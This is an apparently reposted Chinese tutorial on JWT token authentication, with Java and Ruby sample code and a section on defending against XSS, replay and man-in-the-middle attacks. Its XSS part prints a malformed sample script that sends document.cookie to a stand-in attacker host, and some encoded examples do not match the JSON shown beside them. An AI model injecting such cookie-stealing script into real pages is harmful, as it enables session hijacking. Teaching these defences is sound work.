基于JWT的Token认证机制实现及安全问题

JSON Web Token（JWT）是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其JWT的组成：

一个JWT实际上就是一个字符串，它由三部分组成，头部、载荷与签名。

载荷（Payload）

{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.example.com", 
  "sub": "jrocket@example.com", 
  "GivenName": "Johnny", 
  "Surname": "Rocket", 
  "Email": "jrocket@example.com", 
  "Role": [ "Manager", "Project Administrator" ] 
}

iss: 该JWT的签发者，是否使用是可选的；
sub: 该JWT所面向的用户，是否使用是可选的；
aud: 接收该JWT的一方，是否使用是可选的；
exp(expires): 什么时候过期，这里是一个Unix时间戳，是否使用是可选的；
iat(issued at): 在什么时候签发的(UNIX时间)，是否使用是可选的；
其他还有：
nbf (Not Before)：如果当前时间在nbf里的时间之前，则Token不被接受；一般都会留一些余地，比如几分钟；，是否使用是可选的；

将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload（载荷）。

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知识：Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64，所以每6个比特为一个单元，对应某个可打印字符。三个字节有24个比特，对应于4个Base64单元，即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder，用它们可以非常方便的完成基于 BASE64 的编码和解码

头部（Header）
JWT还需要一个头部，头部用于描述关于该JWT的最基本的信息，例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。

{
"typ": "JWT",
"alg": "HS256"
}

在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码，编码后的字符串如下：

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

签名（Signature）
将上面的两个编码后的字符串都用句号.连接在一起（头部在前），就形成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

最后，我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候，我们还需要提供一个密钥（secret）。如果我们用mystar作为密钥的话，那么就可以得到我们加密后的内容:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

最后将这一部分签名也拼接在被签名的字符串后面，我们就得到了完整的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

在我们的请求URL中会带上这串JWT字符串：

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

认证过程

下面我们从一个实例来看如何运用JWT机制实现认证：

第一次认证：第一次登录，用户从浏览器输入用户名/密码，提交后到服务器的登录处理的Action层（Login Action）；
Login Action调用认证服务进行用户名密码认证，如果认证通过，Login Action层调用用户信息服务获取用户信息（包括完整的用户信息及对应权限信息）；
返回用户信息后，Login Action从配置文件中获取Token签名生成的秘钥信息，进行Token的生成；
生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据；
完成JWT数据签名后，将其设置到COOKIE对象中，并重定向到首页，完成登录过程；

请求认证

基于Token的认证机制会在每一次请求中都带上完成签名的Token信息，这个Token信息可能在COOKIE
中，也可能在HTTP的Authorization头中；

客户端（APP客户端或浏览器）通过GET或POST请求访问资源（页面或调用api）；
认证服务作为一个Middleware HOOK 对请求进行拦截，首先在cookie中查找Token信息，如果没有找到，则在HTTP Authorization Head中查找；
如果找到Token信息，则根据配置文件中的签名加密秘钥，调用JWT Lib对Token信息进行解密和解码；
完成解码并验证签名通过后，对Token中的exp、nbf、aud等信息进行验证；
全部通过后，根据获取的用户的角色权限信息，进行对请求的资源的权限逻辑判断；
如果权限逻辑判断通过则通过Response对象返回；否则则返回HTTP 401；

对Token认证的五点认识

对Token认证机制有5点直接注意的地方：

一个Token就是一些信息的集合；
在Token中包含足够多的信息，以便在后续请求中减少查询数据库的几率；
服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查；
基于上一点，你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端；
因为token是被签名的，所以我们可以认为一个可以解码认证通过的token是由我们系统发放的，其中带的信息是合法有效的；

如何使用JWT

在身份鉴定的实现中，传统方法是在服务端存储一个session，给客户端返回一个cookie，而使用JWT之后，当用户使用它的认证信息登陆系统之后，会返回给用户一个JWT，用户只需要本地保存该token（通常使用local storage，也可以使用cookie）即可。

当用户希望访问一个受保护的路由或者资源的时候，通常应该在Authorization头部使用Bearer模式添加JWT，其内容看起来是下面这样：

Authorization: Bearer <token>

因为用户的状态在服务端的内存中是不存储的，所以这是一种无状态的认证机制。服务端的保护路由将会检查请求头Authorization中的JWT信息，如果合法，则允许用户的行为。由于JWT是自包含的，因此减少了需要查询数据库的需要。

JWT的这些特性使得我们可以完全依赖其无状态的特性提供数据API服务，甚至是创建一个下载流服务。因为JWT并不使用Cookie的，所以你可以使用任何域名提供你的API服务而不需要担心跨域资源共享问题（CORS）。

JWT的JAVA实现

Java中对JWT的支持可以考虑使用JJWT开源库；JJWT实现了JWT, JWS, JWE 和 JWA RFC规范；下面将简单举例说明其使用：
生成Token码

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;    
 
//Sample method to construct a JWT
 
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
 
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 
  //Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);
 
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}
 
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}

解码和验证Token码

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
 
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()        
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}

基于JWT的Token认证的安全问题

确保验证过程的安全性

如何保证用户名/密码验证过程的安全性；因为在验证过程中，需要用户输入用户名和密码，在这一过程中，用户名、密码等敏感信息需要在网络中传输。因此，在这个过程中建议采用HTTPS，通过SSL加密传输，以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情，这也给浏览器端的安全带来很多隐患，最常见的如：XSS攻击：跨站脚本攻击(Cross Site Scripting)；如果有个页面的输入框中允许输入任何信息，且没有做防范措施，如果我们输入下面这段代码：

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"

这段代码会盗取你域中的所有cookie信息，并发送到 hackmeplz.com；那么我们如何来防范这种攻击呢？

XSS攻击代码过滤
移除任何会导致浏览器做非预期执行的代码，这个可以采用一些库来实现（如：js下的js-xss，JAVA下的XSS htmlFilter，php下的TWIG）；如果你是将用户提交的字符串存储到数据库的话（也针对SQL注入攻击），你需要在前端和服务端分别做过滤；
采用HTTP-Only Cookies
通过设置Cookie的参数： HttpOnly; Secure 来防止通过JavaScript 来访问Cookie；
如何在Java中设置cookie是HttpOnly呢？
Servlet 2.5 API 不支持 cookie设置HttpOnly
http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
建议升级Tomcat7.0，它已经实现了Servlet3.0
http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
或者通过这样来设置：

//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

在实际使用中，我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly；

如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包，来达到欺骗系统的目的，主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统，黑客还是可以利用窃取的Token模拟正常请求，而服务器端对此完全不知道，以为JWT机制是无状态的。
针对这种情况，有几种常用做法可以用作参考：
1、时间戳 +共享秘钥
这种方案，客户端和服务端都需要知道：

User ID
共享秘钥

客户端

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # 指定token发布时间
  exp: Time.now.to_i + 2   # 指定token过期时间为2秒后，2秒时间足够一次HTTP请求，同时在一定程度确保上一次token过期，减少replay attack的概率；
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1:解码JWT，并获取User ID，这个时候不对Token签名进行检查
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 检查该用户是否存在于数据库
    @current_user = User.find(payload['user_id'])
    
    # Step 3: 检查Token签名是否正确.
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
    now = Time.now.to_i
    if payload['iat'] > now || payload['exp'] < now
      # 如果过期则返回401
    end
  rescue JWT::DecodeError
    # 返回 401
  end
end

2、时间戳 +共享秘钥+黑名单（类似Zendesk的做法）
客户端

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # 通过jti确保一个token只使用一次，防止replace attack
  iat: Time.now.to_i,       # 指定token发布时间.
  exp: Time.now.to_i + 2    # 指定token过期时间为2秒后
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

def set_current_user_from_jwt_token
  # 前面的步骤参考上面
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload['user_id'])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload['iat'] > now || payload['exp'] < now
    # 返回401
  end
  
  # 下面将检查确保这个JWT之前没有被使用过
  # 使用Redis的原子操作
  
  # The redis 的键: <user id>:<one-time use token>
  key = "#{payload['user_id']}:#{payload['jti']}"
  
  # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
  if redis.getset(key, "1")
    # 返回401
    # 
  end
  
  # 进行键值过期检查
  redis.expireat(key, payload['exp'] + 2)
end

如何防范MITM （Man-In-The-Middle）Attacks

所谓MITM攻击，就是在客户端和服务器端的交互过程被监听，比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等；
针对这类攻击的办法使用HTTPS，包括针对分布式应用，在服务间传输像cookie这类敏感信息时也采用HTTPS；所以云计算在本质上是不安全的。

链接: https://www.fly63.com/article/detial/1185